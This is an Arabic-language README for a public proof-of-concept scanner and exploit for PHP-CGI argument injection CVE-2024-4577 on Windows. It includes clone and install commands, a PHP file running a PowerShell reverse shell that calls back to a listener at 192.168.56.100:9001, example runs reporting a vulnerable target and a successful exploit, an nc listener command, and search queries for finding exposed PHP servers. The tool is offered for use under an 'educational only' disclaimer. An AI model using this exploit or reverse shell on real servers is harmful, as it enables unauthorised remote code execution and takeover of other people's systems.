
PoC - حقن وسائط PHP CGI CVE-2024-4577 (ماسح واستغلال)
في إصدارات PHP 8.1.* قبل 8.1.29، و8.2.* قبل 8.2.20، و8.3.* قبل 8.3.8، عند استخدام Apache وPHP-CGI على ويندوز، إذا كان النظام مهيأ لاستخدام صفحات أكواد معينة، فقد يستخدم ويندوز سلوك "Best-Fit" لاستبدال الأحرف في سطر الأوامر المُمرر إلى دوال Win32 API. قد تفسر وحدة PHP CGI تلك الأحرف بشكل خاطئ على أنها خيارات PHP، مما قد يسمح لمستخدم ضار بتمرير خيارات إلى ملف PHP الثنائي قيد التشغيل، وبالتالي كشف الكود المصدري للنصوص البرمجية، وتنفيذ كود PHP عشوائي على الخادم، وما إلى ذلك.
"XAMPP معرض للثغرة في إعداداته الافتراضية، ويمكننا استهداف نقطة النهاية /php-cgi/php-cgi.exe. لاستهداف نقطة نهاية .php صريحة (مثل /index.php)، يجب أن يكون الخادم مهيأ لتشغيل نصوص PHP في وضع CGI."
$ git clone https://github.com/l0n3m4n/CVE-2024-4577-RCE.git
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt

[!NOTE] تعرض هذه الأداة هجومًا وتقنيات واقعية (TTPs). ومع ذلك، فإن نموذج الحمولة هذا لا يعمل في هذا السيناريو. عدّل shell.php للحصول على حمولة كاملة الوظائف.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"هذه الأداة مقدمة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن الأداة. أنشئ مشكلة